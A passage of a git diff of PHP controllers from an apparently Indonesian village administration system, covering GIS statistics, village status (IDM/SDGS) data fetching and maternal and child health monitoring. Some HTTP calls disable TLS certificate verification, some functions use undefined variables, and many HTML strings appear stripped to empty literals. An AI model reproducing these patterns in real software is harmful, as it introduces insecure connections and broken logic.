= ''; + } + + return $data; + } + + public function load_chart_gis($lap = 0) + { + $data['main'] = $this->laporan_penduduk_model->list_data($lap); + $data['lap'] = $lap; + $this->get_data_stat($data, $lap); + $this->load->view('gis/penduduk_gis', $data); + } + + public function chart_gis_desa($lap = 0, $desa = null) + { + $this->session->desa = $desa; + $this->session->unset_userdata(['dusun', 'rw', 'rt']); + + redirect("statistik/load_chart_gis/{$lap}"); + } + + public function chart_gis_dusun($lap = 0, $dusun = null) + { + $this->session->dusun = $dusun; + $this->session->unset_userdata(['rw', 'rt']); + + redirect("statistik/load_chart_gis/{$lap}"); + } + + public function chart_gis_rw($lap = 0, $dusun = null, $rw = null) + { + $this->session->dusun = $dusun; + $this->session->rw = $rw; + $this->session->unset_userdata(['rt']); + + redirect("statistik/load_chart_gis/{$lap}"); + } + + public function chart_gis_rt($lap = 0, $dusun = null, $rw = null, $rt = null) + { + $this->session->dusun = $dusun; + $this->session->rw = $rw; + $this->session->rt = $rt; + + redirect("statistik/load_chart_gis/{$lap}"); + } + + public function ajax_peserta_program_bantuan() + { + $filter = [ + 'status' => $this->session->status, + 'tahun' => $this->session->tahun, + 'dusun' => $this->session->dusun, + 'rw' => $this->session->rw, + 'rt' => $this->session->rt, + ]; + + $peserta = $this->program_bantuan_model->get_peserta_bantuan($filter); + $data = []; + $no = $_POST['start']; + + foreach ($peserta as $baris) { + if (null === $baris['peserta']) { + continue; + } + $no++; + $row = []; + $row[] = $no; + $row[] = $baris['program']; + $row[] = $baris['peserta']; + $row[] = $baris['alamat']; + $data[] = $row; + } + + return json([ + 'recordsTotal' => $this->program_bantuan_model->count_peserta_bantuan_all(), + 'recordsFiltered' => $this->program_bantuan_model->count_peserta_bantuan_filtered(), + 'data' => $data, + ]); + } +} diff --git a/donjo-app/controllers/Statistik_web.php b/donjo-app/controllers/Statistik_web.php index bb911866d..e2b9dcad1 100644 --- a/donjo-app/controllers/Statistik_web.php +++ b/donjo-app/controllers/Statistik_web.php @@ -1,521 +1,224 @@ -load->model('laporan_penduduk_model'); + $this->load->model('pamong_model'); + $this->load->model('program_bantuan_model'); + } + + private function get_cluster_session() + { + $list_session = ['dusun', 'rw', 'rt']; + + foreach ($this->list_session as $list) { + ${$list} = $this->session->{$list}; + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + return $data; + } + + private function get_data_stat(&$data, $lap) + { + $data['stat'] = $this->laporan_penduduk_model->judul_statistik($lap); + $data['list_bantuan'] = $this->program_bantuan_model->list_program(0); + if ($lap > 50) { + // Untuk program bantuan, $lap berbentuk '50' + $program_id = preg_replace('/^50/', '', $lap); + $data['program'] = $this->program_bantuan_model->get_sasaran($program_id); + $data['judul_kelompok'] = $data['program']['judul_sasaran']; + $data['kategori'] = 'bantuan'; + } elseif (in_array($lap, ['bantuan_penduduk', 'bantuan_keluarga'])) { + $data['kategori'] = 'bantuan'; + } elseif ($lap > 20 || "{$lap}" == 'kelas_sosial') { + $data['kategori'] = 'keluarga'; + } else { + $data['kategori'] = 'penduduk'; + } + } + + public function dusun($tipe = 0, $lap = 0) + { + $tipe_stat = $this->get_tipe_statistik($tipe); + $this->session->unset_userdata('rw'); + $this->session->unset_userdata('rt'); + $dusun = $this->input->post('dusun'); + if ($dusun) { + $this->session->set_userdata('dusun', $dusun); + } else { + $this->session->unset_userdata('dusun'); + } + redirect("statistik_web/{$tipe_stat}/{$lap}"); + } + + public function rw($tipe = 0, $lap = 0) + { + $tipe_stat = $this->get_tipe_statistik($tipe); + $this->session->unset_userdata('rt'); + $rw = $this->input->post('rw'); + if ($rw) { + $this->session->set_userdata('rw', $rw); + } else { + $this->session->unset_userdata('rw'); + } + redirect("statistik_web/{$tipe_stat}/{$lap}"); + } + + public function rt($tipe = 0, $lap = 0) + { + $tipe_stat = $this->get_tipe_statistik($tipe); + $rt = $this->input->post('rt'); + if ($rt) { + $this->session->set_userdata('rt', $rt); + } else { + $this->session->unset_userdata('rt'); + } + redirect("statistik_web/{$tipe_stat}/{$lap}"); + } + + public function load_chart_gis($lap = 0) + { + $this->cek_akses($lap); + + $data['main'] = $this->laporan_penduduk_model->list_data($lap); + + $data['lap'] = $lap; + $data['untuk_web'] = true; + $this->get_data_stat($data, $lap); + $this->load->view('gis/penduduk_gis', $data); + } + + public function chart_gis_desa($lap = 0, $desa = null) + { + $this->session->desa = $desa; + $this->session->unset_userdata(['dusun', 'rw', 'rt']); + + redirect("statistik_web/load_chart_gis/{$lap}"); + } + + public function chart_gis_dusun($lap = 0, $dusun = null) + { + $this->session->dusun = $dusun; + $this->session->unset_userdata(['rw', 'rt']); + + redirect("statistik_web/load_chart_gis/{$lap}"); + } + + public function chart_gis_rw($lap = 0, $dusun = null, $rw = null) + { + $this->cek_akses($lap); + + $this->session->dusun = $dusun; + $this->session->rw = $rw; + $this->session->unset_userdata(['rt']); + + redirect("statistik_web/load_chart_gis/{$lap}"); + } + + public function chart_gis_rt($lap = 0, $dusun = null, $rw = null, $rt = null) + { + $this->cek_akses($lap); + + $this->session->dusun = $dusun; + $this->session->rw = $rw; + $this->session->rt = $rt; + + redirect("statistik_web/load_chart_gis/{$lap}"); + } + + public function chart_gis_kadus($id_kepala = '') + { + $this->cek_akses($lap); + + ($dusun) ? $this->session->set_userdata('dusun', $dusun) : $this->session->unset_userdata('dusun'); + $this->session->unset_userdata('rw'); + $this->session->unset_userdata('rt'); + + redirect("statistik_web/load_kadus/{$id_kepala}"); + } + + public function load_kadus($id_kepala = '') + { + $data['individu'] = $this->wilayah_model->get_penduduk($dusun['id_kepala']); + + $this->_get_common_data($data); + $this->load->view('gis/kadus/', $data); + } + + private function cek_akses($lap) + { + $pengaturan = setting('tampilkan_tombol_peta'); + + if (($lap > 50 || in_array($lap, ['bantuan_penduduk', 'bantuan_keluarga'])) && in_array('Statistik Bantuan', $pengaturan)) { + return true; + } + if (($lap > 20 || "{$lap}" == 'kelas_sosial') && in_array('Statistik Keluarga', $pengaturan)) { + return true; + } + if (($lap < 20) && in_array('Statistik Penduduk', $pengaturan)) { + return true; + } + + show_404(); + } +} diff --git a/donjo-app/controllers/Status_desa.php b/donjo-app/controllers/Status_desa.php index 4b0e62628..cfb6949bb 100644 --- a/donjo-app/controllers/Status_desa.php +++ b/donjo-app/controllers/Status_desa.php @@ -1,505 +1,171 @@ -modul_ini = 'info-desa'; + $this->sub_modul_ini = 'status-desa'; + $this->header['kategori'] = 'status sdgs'; + } + + public function index() + { + if (session('navigasi') == 'sdgs') { + return $this->sdgs(); + } + + return $this->idm(); + } + + private function idm() + { + $tahun = session('tahun') ?? ($this->input->post('tahun') ?? (setting('tahun_idm')) ?? date('Y')); + + $data = [ + 'tahun' => (int) $tahun, + 'idm' => idm($this->header['desa']['kode_desa'], $tahun), + ]; + + return view('admin.status_desa.idm', $data); + } + + public function perbarui_idm(int $tahun) + { + if (cek_koneksi_internet() && $tahun) { + $kode_desa = $this->header['desa']['kode_desa']; + $cache = 'idm_' . $tahun . '_' . $kode_desa . '.json'; + + // Cek server Kemendes sebelum hapus cache + try { + $client = new \GuzzleHttp\Client(); + $client->get(config_item('api_idm') . "/{$kode_desa}/{$tahun}", [ + 'headers' => [ + 'X-Requested-With' => 'XMLHttpRequest', + ], + 'verify' => false, + ]); + + $this->cache->file->delete($cache); + set_session('tahun', $tahun); + + redirect_with('success', 'Berhasil Perbarui Data'); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + } + } + + redirect_with('error', 'Tidak dapat mengambil data IDM.'); + } + + public function simpan(int $tahun) + { + SettingAplikasi::where('key', 'tahun_idm')->update(['value' => $tahun]); + set_session('tahun', $tahun); + + redirect_with('success', 'Berhasil Simpan Data'); + } + + private function sdgs() + { + set_session('navigasi', 'sdgs'); + + $data = [ + 'sdgs' => sdgs(), + 'kode_desa' => $this->header['desa']['kode_desa'], + ]; + + return view('admin.status_desa.sdgs', $data); + } + + public function perbarui_bps() + { + if ($this->input->is_ajax_request()) { + $kode_bps = $this->request['kode_bps']; + SettingAplikasi::where('key', 'kode_desa_bps')->update(['value' => $kode_bps]); + + return json([ + 'status' => true, + ]); + } + + return json([ + 'status' => false, + 'message' => 'Akses tidak di ijinkan', + ]); + } + + public function perbarui_sdgs() + { + set_session('navigasi', 'sdgs'); + + if (cek_koneksi_internet()) { + $kode_desa = setting('kode_desa_bps'); + $cache = 'sdgs_' . $kode_desa . '.json'; + + // Cek server Kemendes sebelum hapus cache + try { + $client = new \GuzzleHttp\Client(); + $client->get(config_item('api_sdgs') . $kode_desa, [ + 'headers' => [ + 'X-Requested-With' => 'XMLHttpRequest', + ], + 'verify' => false, + ]); + + $this->cache->file->delete($cache); + + redirect_with('success', 'Berhasil Perbarui Data'); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + } + } + + redirect_with('error', 'Tidak dapat mengambil data SDGS.'); + } + + public function navigasi($navigasi = 'idm') + { + redirect_with('navigasi', $navigasi); + } +} diff --git a/donjo-app/controllers/Stunting.php b/donjo-app/controllers/Stunting.php index 726b85966..0ebbc234c 100644 --- a/donjo-app/controllers/Stunting.php +++ b/donjo-app/controllers/Stunting.php @@ -1,481 +1,1317 @@ -load->library('rekap'); + $this->load->helper('tglindo_helper'); + $this->modul_ini = 'kesehatan'; + $this->sub_modul_ini = 'stunting'; + } + + public function index() + { + $data = $this->widget(); + $data['navigasi'] = 'posyandu'; + + return view('admin.stunting.index', $data); + } + + public function datatablesPosyandu() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(Posyandu::withConfigId()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function formPosyandu($id = null) + { + $this->redirect_hak_akses('u'); + + $data = $this->widget(); + $data['navigasi'] = 'posyandu'; + + if ($id) { + $data['action'] = 'Ubah'; + $data['formAction'] = route('stunting.updatePosyandu', $id); + $data['posyandu'] = Posyandu::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['formAction'] = route('stunting.insertPosyandu'); + $data['posyandu'] = null; + } + + return view('admin.stunting.posyandu_form', $data); + } + + public function insertPosyandu() + { + $this->redirect_hak_akses('u'); + + if (Posyandu::create(static::validatePosyandu($this->request))) { + redirect_with('success', 'Berhasil Tambah Data', 'stunting'); + } + + redirect_with('error', 'Gagal Tambah Data', 'stunting'); + } + + public function updatePosyandu($id = null) + { + $this->redirect_hak_akses('u'); + + $data = Posyandu::findOrFail($id); + + if ($data->update(static::validatePosyandu($this->request))) { + redirect_with('success', 'Berhasil Ubah Data', 'stunting'); + } + + redirect_with('error', 'Gagal Ubah Data', 'stunting'); + } + + public function deletePosyandu($id = null) + { + $this->redirect_hak_akses('h'); + + $data = $this->request['id_cb'] ?? [$id]; + + if (IbuHamil::whereIn('posyandu_id', $data)->exists() || Anak::whereIn('posyandu_id', $data)->exists() || Paud::whereIn('posyandu_id', $data)->exists()) { + redirect_with('error', 'Posyandu terkait masih digunakan pada ibu hamil/anak', 'stunting'); + } + + if (Posyandu::destroy($data)) { + redirect_with('success', 'Berhasil Hapus Data', 'stunting'); + } + + redirect_with('error', 'Gagal Hapus Data', 'stunting'); + } + + protected static function validatePosyandu($request = []) + { + return [ + 'nama' => htmlentities($request['nama']), + 'alamat' => htmlentities($request['alamat']), + ]; + } + // Akhir Posyandu + + // Awal KIA + public function kia() + { + $data = $this->widget(); + $data['navigasi'] = 'kia'; + + return view('admin.stunting.kia', $data); + } + + public function datatablesKia() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(KIA::with(['ibu', 'anak'])) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->editColumn('hari_perkiraan_lahir', static function ($row) { + return tgl_indo($row->hari_perkiraan_lahir); + }) + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function formKia($id = null) + { + $this->redirect_hak_akses('u'); + + $data = $this->widget(); + $data['navigasi'] = 'kia'; + $data['ibu'] = Penduduk::where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::ISTRI) + ->orWhere('kk_level', StatusHubunganEnum::ANAK) + ->orWhere('kk_level', StatusHubunganEnum::MENANTU); + }) + ->where('sex', JenisKelaminEnum::PEREMPUAN) + ->get(); + + $data['anak'] = Penduduk::select(['id', 'nik', 'nama']) + ->whereNotIn('id', KIA::pluck('anak_id')) + ->whereIn('kk_level', [StatusHubunganEnum::ANAK, StatusHubunganEnum::CUCU, StatusHubunganEnum::FAMILI_LAIN]) + ->where('tanggallahir', '>=', Carbon::now()->subYears(6)) + ->get(); + + if ($id) { + $data['action'] = 'Ubah'; + $data['formAction'] = route('stunting.updateKia', $id); + $data['kia'] = KIA::with('ibu')->findOrFail($id); + $data['ibu_text'] = 'NIK : ' . $data['kia']->ibu->nik . ' - ' . $data['kia']->ibu->nama . ' RT-' . $data['kia']->ibu->wilayah->rt . ', RW-' . $data['kia']->ibu->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $data['kia']->ibu->wilayah->dusun); + $data['ibu'] = $data['ibu']->prepend(Penduduk::find($data['kia']->ibu_id)); + $data['anak'] = $data['anak']->where('id', '!=', $data['kia']->ibu_id)->prepend(Penduduk::find($data['kia']->anak_id)); + } else { + $data['action'] = 'Tambah'; + $data['formAction'] = route('stunting.insertKia'); + $data['kia'] = null; + } + + return view('admin.stunting.kia_form', $data); + } + + public function getIbu() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + + $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('nik', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::ISTRI) + ->orWhere('kk_level', StatusHubunganEnum::ANAK) + ->orWhere('kk_level', StatusHubunganEnum::MENANTU); + }) + ->where('sex', JenisKelaminEnum::PEREMPUAN) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun), + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + public function getAnak() + { + $anakId = []; + + foreach (KiA::all() as $data) { + $anakId[] = $data->anak_id ?? 0; + } + + if ($this->input->is_ajax_request()) { + $ibu = $this->input->get('ibu'); + $penduduk = Penduduk::find($ibu); + if ($penduduk) { + $anak = Penduduk::where('id_kk', $penduduk->id_kk) + ->where('id', '!=', $ibu)->whereNotIn('id', $anakId) + ->whereIn('kk_level', [StatusHubunganEnum::ANAK, StatusHubunganEnum::CUCU, StatusHubunganEnum::FAMILI_LAIN])->where('tanggallahir', '>=', Carbon::now() + ->subYears(6)) + ->get(); + + return json($anak); + } + + return json(['tidak ada anak']); + } + } + + public function insertKia() + { + $this->redirect_hak_akses('u'); + + if (KIA::create(static::validateKia($this->request))) { + redirect_with('success', 'Berhasil Tambah Data', 'stunting/kia'); + } + + redirect_with('error', 'Gagal Tambah Data', 'stunting/kia'); + } + + public function updateKia($id = null) + { + $this->redirect_hak_akses('u'); + + $data = KIA::findOrFail($id); + + if ($data->update(static::validateKia($this->request))) { + redirect_with('success', 'Berhasil Ubah Data', 'stunting/kia'); + } + + redirect_with('error', 'Gagal Ubah Data', 'stunting/kia'); + } + + public function deleteKia($id = null) + { + $this->redirect_hak_akses('h'); + + $data = $this->request['id_cb'] ?? [$id]; + + if (IbuHamil::whereIn('kia_id', $data)->exists() || Anak::whereIn('kia_id', $data)->exists() || Paud::whereIn('kia_id', $data)->exists()) { + redirect_with('error', 'KIA terkait masih digunakan pada ibu hamil/anak', 'stunting/kia'); + } + + if (KIA::destroy($data)) { + redirect_with('success', 'Berhasil Hapus Data', 'stunting/kia'); + } + + redirect_with('error', 'Gagal Hapus Data', 'stunting/kia'); + } + + protected static function validateKia($request = []) + { + $kia = KIA::where('no_kia', $request['no_kia'])->first(); + + if ($kia && $kia->no_kia != $request['no_kia_lama']) { + redirect_with('error', 'Tidak dapat memasukkan no kia yang sama', 'stunting/kia'); + } + + if (! empty($request['perkiraan_lahir'])) { + $status = 1; + } else { + $status = 2; + } + + Penduduk::where('id', $request['id_ibu'])->update(['hamil' => $status]); + + return [ + 'no_kia' => $request['no_kia'], + 'ibu_id' => $request['id_ibu'], + 'anak_id' => empty($request['id_anak']) ? null : $request['id_anak'], + 'hari_perkiraan_lahir' => empty($request['perkiraan_lahir']) ? null : date('Y-m-d', strtotime($request['perkiraan_lahir'])), + ]; + } + // Akhir KIA + + // Mulai Pemantauan + public function pemantauan_ibu_hamil() + { + $data = $this->widget(); + $data['navigasi'] = 'pemantauan-bulanan-ibu-hamil'; + $data['bulan'] = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']; + $data['tahun'] = IbuHamil::select(IbuHamil::raw('YEAR(created_at) tahun'))->groupBy('tahun')->get(); + $data['posyandu'] = Posyandu::all(); + + return view('admin.stunting.pemantauan_ibu_hamil', $data); + } + + public function datatablesIbuHamil() + { + if ($this->input->is_ajax_request()) { + $filters = [ + 'bulan' => $this->input->get('bulan'), + 'tahun' => $this->input->get('tahun'), + 'posyandu' => $this->input->get('posyandu'), + ]; + + return datatables()->of(IbuHamil::select('ibu_hamil.created_at as tanggal_periksa', 'ibu_hamil.*')->with(['kia', 'kia.ibu'])->filter($filters)) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->editColumn('kia.hari_perkiraan_lahir', static function ($row) { + return tgl_indo($row->kia->hari_perkiraan_lahir); + }) + ->editColumn('tanggal_melahirkan', static function ($row) { + return tgl_indo($row->tanggal_melahirkan); + }) + ->editColumn('tanggal_periksa', static function ($row) { + return tgl_indo($row->tanggal_periksa); + }) + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function formIbuHamil($id = null) + { + $this->redirect_hak_akses('u'); + + $data = $this->widget(); + $data['navigasi'] = 'pemantauan-bulanan-ibu-hamil'; + $data['kia'] = KIA::with('ibu')->get(); + $data['posyandu'] = Posyandu::pluck('nama', 'id'); + + if ($this->input->is_ajax_request()) { + $hamil = KIA::find($this->input->get('kia')); + + return json($hamil->anak_id ?? 0); + } + + if ($id) { + $data['action'] = 'Ubah'; + $data['formAction'] = route('stunting.updateIbuHamil', $id); + $data['ibuHamil'] = IbuHamil::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['formAction'] = route('stunting.insertIbuHamil'); + $data['ibuHamil'] = null; + } + + $data['status_kehamilan_ibu'] = collect(IbuHamil::STATUS_KEHAMILAN_IBU)->pluck('nama', 'id'); + + return view('admin.stunting.pemantauan_ibu_hamil_form', $data); + } + + public function insertIbuHamil() + { + $this->redirect_hak_akses('u'); + + $bulan = date('m', strtotime($this->request['tanggal_periksa'])); + $tahun = date('Y', strtotime($this->request['tanggal_periksa'])); + + $data = IbuHamil::where('kia_id', $this->request['id_kia'])->whereMonth('created_at', $bulan)->whereYear('created_at', $tahun)->first(); + + if ($data) { + redirect_with('error', 'Data telah ditambahkan', 'stunting/pemantauan_ibu_hamil'); + } + + if (IbuHamil::create(static::validateIbuHamil($this->request))) { + redirect_with('success', 'Berhasil Tambah Data', 'stunting/pemantauan_ibu_hamil'); + } + + redirect_with('error', 'Gagal Tambah Data', 'stunting/pemantauan_ibu_hamil'); + } + + public function updateIbuHamil($id = null) + { + $this->redirect_hak_akses('u'); + + $data = IbuHamil::findOrFail($id); + + if ($data->update(static::validateIbuHamil($this->request))) { + redirect_with('success', 'Berhasil Ubah Data', 'stunting/pemantauan_ibu_hamil'); + } + + redirect_with('error', 'Gagal Ubah Data', 'stunting/pemantauan_ibu_hamil'); + } + + public function deleteIbuHamil($id = null) + { + $this->redirect_hak_akses('h'); + + if (IbuHamil::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data', 'stunting/pemantauan_ibu_hamil'); + } + + redirect_with('error', 'Gagal Hapus Data', 'stunting/pemantauan_ibu_hamil'); + } + + protected static function validateIbuHamil($request = []) + { + return [ + 'posyandu_id' => $request['id_posyandu'], + 'kia_id' => $request['id_kia'], + 'created_at' => date('Y-m-d', strtotime($request['tanggal_periksa'])), + 'status_kehamilan' => $request['status_kehamilan'], + 'usia_kehamilan' => $request['usia_kehamilan'], + 'tanggal_melahirkan' => empty($request['tanggal_melahirkan']) ? null : date('Y-m-d', strtotime($request['tanggal_melahirkan'])), + 'pemeriksaan_kehamilan' => $request['pemeriksaan_kehamilan'], + 'konsumsi_pil_fe' => $request['konsumsi_pil_fe'], + 'butir_pil_fe' => $request['butir_pil_fe'] ?? 0, + 'pemeriksaan_nifas' => $request['pemeriksaan_nifas'], + 'konseling_gizi' => $request['konseling_gizi'], + 'kunjungan_rumah' => $request['kunjungan_rumah'], + 'akses_air_bersih' => $request['akses_air_bersih'], + 'kepemilikan_jamban' => $request['kepemilikan_jamban'], + 'jaminan_kesehatan' => $request['jaminan_kesehatan'], + ]; + } + + public function eksporIbuHamil() + { + $filters = [ + 'bulan' => $this->input->get('bulan'), + 'tahun' => $this->input->get('tahun'), + 'posyandu' => $this->input->get('posyandu'), + ]; + + $judul = [ + 'No KIA', + 'Nama Ibu', + 'Status Kehamilan', + 'Hari Perkiraan Lahir', + 'Usia Kehamilan (Bulan)', + 'Tanggal Melahirkan', + 'Pemeriksaan Kehamilan', + 'Konsumsi Pil Fe', + 'Pemeriksaan Nifas', + 'Kunjungan Rumah', + 'Kepemilikan Akses Air Bersih', + 'Kepemilikan jamban', + 'Jaminan Kesehatan', + ]; + + $writer = WriterEntityFactory::createXLSXWriter(); + $writer->openToBrowser(namafile('Laporan Bulanan Ibu Hamil') . '.xlsx'); + $writer->addRow(WriterEntityFactory::createRowFromArray($judul)); + + $dataIbuHamil = IbuHamil::with(['kia', 'kia.ibu'])->filter($filters)->get(); + + foreach ($dataIbuHamil as $row) { + $data = [ + $row->kia->no_kia, + $row->kia->ibu->nama, + $row->status_kehamilan = ($row->status_kehamilan == 1) ? 'NORMAL' : (($row->status_kehamilan == 2) ? 'RISTI' : (($row->status_kehamilan == 3) ? 'KEK' : '-')), + tgl_indo($row->kia->hari_perkiraan_lahir), + $row->usia_kehamilan ?? '-', + tgl_indo($row->tanggal_melahirkan), + $row->pemeriksaan_kehamilan == 1 ? 'v' : 'x', + $row->konsumsi_pil_fe == 1 ? 'v' : 'x', + $row->pemeriksaan_nifas == 1 ? 'v' : 'x', + $row->konseling_gizi == 1 ? 'v' : 'x', + $row->kunjungan_rumah == 1 ? 'v' : 'x', + $row->akses_air_bersih == 1 ? 'v' : 'x', + $row->kepemilikan_jamban == 1 ? 'v' : 'x', + $row->jaminan_kesehatan == 1 ? 'v' : 'x', + ]; + $writer->addRow(WriterEntityFactory::createRowFromArray($data)); + } + $writer->close(); + } + + ///////////////////////////////////////////////////////////////////////////////////////////////// + public function pemantauan_anak() + { + $data = $this->widget(); + $data['navigasi'] = 'pemantauan-bulanan-anak'; + $data['bulan'] = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']; + $data['tahun'] = Anak::select(Anak::raw('YEAR(created_at) tahun'))->groupBy('tahun')->get(); + $data['posyandu'] = Posyandu::all(); + + return view('admin.stunting.pemantauan_anak', $data); + } + + public function datatablesAnak() + { + if ($this->input->is_ajax_request()) { + $filters = [ + 'bulan' => $this->input->get('bulan'), + 'tahun' => $this->input->get('tahun'), + 'posyandu' => $this->input->get('posyandu'), + ]; + + return datatables()->of(Anak::select('bulanan_anak.created_at as tanggal_periksa', 'bulanan_anak.*')->with(['kia', 'kia.anak'])->filter($filters)) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->editColumn('kia.anak.tanggallahir', static function ($row) { + return tgl_indo($row->kia->anak->tanggallahir); + }) + ->editColumn('berat_badan', static function ($row) { + return $row->berat_badan . ' kg'; + }) + ->editColumn('tinggi_badan', static function ($row) { + return $row->tinggi_badan . ' cm'; + }) + ->editColumn('tanggal_periksa', static function ($row) { + return tgl_indo($row->tanggal_periksa); + }) + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function formAnak($id = null) + { + $this->redirect_hak_akses('u'); + + $data = $this->widget(); + $data['navigasi'] = 'pemantauan-bulanan-anak'; + $data['kia'] = KIA::with('anak')->where('anak_id', '!=', null) + ->WhereHas('anak', static function ($query) { + $query->where('tanggallahir', '>', Carbon::now()->subMonths(24)); + }) + ->get(); + $data['posyandu'] = Posyandu::pluck('nama', 'id'); + $data['status_gizi_anak'] = collect(Anak::STATUS_GIZI_ANAK)->pluck('nama', 'id'); + $data['status_tikar_anak'] = collect(Anak::STATUS_TIKAR_ANAK)->pluck('nama', 'id'); + $data['status_imunisasi_campak'] = Anak::STATUS_IMUNISASI_CAMPAK; + + if ($this->input->is_ajax_request()) { + $kia = KIA::find($this->input->get('kia')); + $data = Penduduk::find($kia->anak_id); + $tanggal = Carbon::create($data->tanggallahir); + + return json($tanggal->diff(Carbon::now())); + } + + if ($id) { + $kia = KIA::find($id); + $anak = Penduduk::find($kia->anak_id); + $tanggal = Carbon::create($anak->tanggallahir); + $data['umur'] = $tanggal->diff(Carbon::now()); + + $data['action'] = 'Ubah'; + $data['formAction'] = route('stunting.updateAnak', $id); + $data['anak'] = Anak::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['formAction'] = route('stunting.insertAnak'); + $data['anak'] = null; + } + + return view('admin.stunting.pemantauan_anak_form', $data); + } + + public function insertAnak() + { + $this->redirect_hak_akses('u'); + + $bulan = date('m', strtotime($this->request['tanggal_periksa'])); + $tahun = date('Y', strtotime($this->request['tanggal_periksa'])); + + $data = Anak::where('kia_id', $this->request['id_kia'])->whereMonth('created_at', $bulan)->whereYear('created_at', $tahun)->first(); + + if ($data) { + redirect_with('error', 'Data telah ditambahkan', 'stunting/pemantauan_anak'); + } + + if (Anak::create(static::validateAnak($this->request))) { + redirect_with('success', 'Berhasil Tambah Data', 'stunting/pemantauan_anak'); + } + + redirect_with('error', 'Gagal Tambah Data', 'stunting/pemantauan_anak'); + } + + public function updateAnak($id = null) + { + $this->redirect_hak_akses('u'); + + $data = Anak::findOrFail($id); + + if ($data->update(static::validateAnak($this->request))) { + redirect_with('success', 'Berhasil Ubah Data', 'stunting/pemantauan_anak'); + } + + redirect_with('error', 'Gagal Ubah Data', 'stunting/pemantauan_anak'); + } + + public function deleteAnak($id = null) + { + $this->redirect_hak_akses('h'); + + if (Anak::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data', 'stunting/pemantauan_anak'); + } + + redirect_with('error', 'Gagal Hapus Data', 'stunting/pemantauan_anak'); + } + + protected static function validateAnak($request = []) + { + return [ + 'posyandu_id' => $request['id_posyandu'], + 'kia_id' => $request['id_kia'], + 'created_at' => date('Y-m-d', strtotime($request['tanggal_periksa'])), + 'status_gizi' => $request['status_gizi'], + 'umur_bulan' => $request['umur_bulan'], + 'status_tikar' => $request['status_tikar'], + 'pemberian_imunisasi_campak' => $request['pemberian_imunisasi_campak'] ?? 0, + 'pemberian_imunisasi_dasar' => $request['pemberian_imunisasi_dasar'], + 'berat_badan' => $request['berat_badan'], + 'pengukuran_berat_badan' => $request['pengukuran_berat_badan'], + 'tinggi_badan' => $request['tinggi_badan'], + 'pengukuran_tinggi_badan' => $request['pengukuran_tinggi_badan'], + 'konseling_gizi_ayah' => $request['konseling_gizi_ayah'], + 'konseling_gizi_ibu' => $request['konseling_gizi_ibu'], + 'kunjungan_rumah' => $request['kunjungan_rumah'], + 'air_bersih' => $request['air_bersih'], + 'kepemilikan_jamban' => $request['kepemilikan_jamban'], + 'akta_lahir' => $request['akta_lahir'], + 'jaminan_kesehatan' => $request['jaminan_kesehatan'], + 'pengasuhan_paud' => $request['pengasuhan_paud'], + ]; + } + + public function eksporAnak() + { + $filters = [ + 'bulan' => $this->input->get('bulan'), + 'tahun' => $this->input->get('tahun'), + 'posyandu' => $this->input->get('posyandu'), + ]; + + $judul = [ + 'No KIA', + 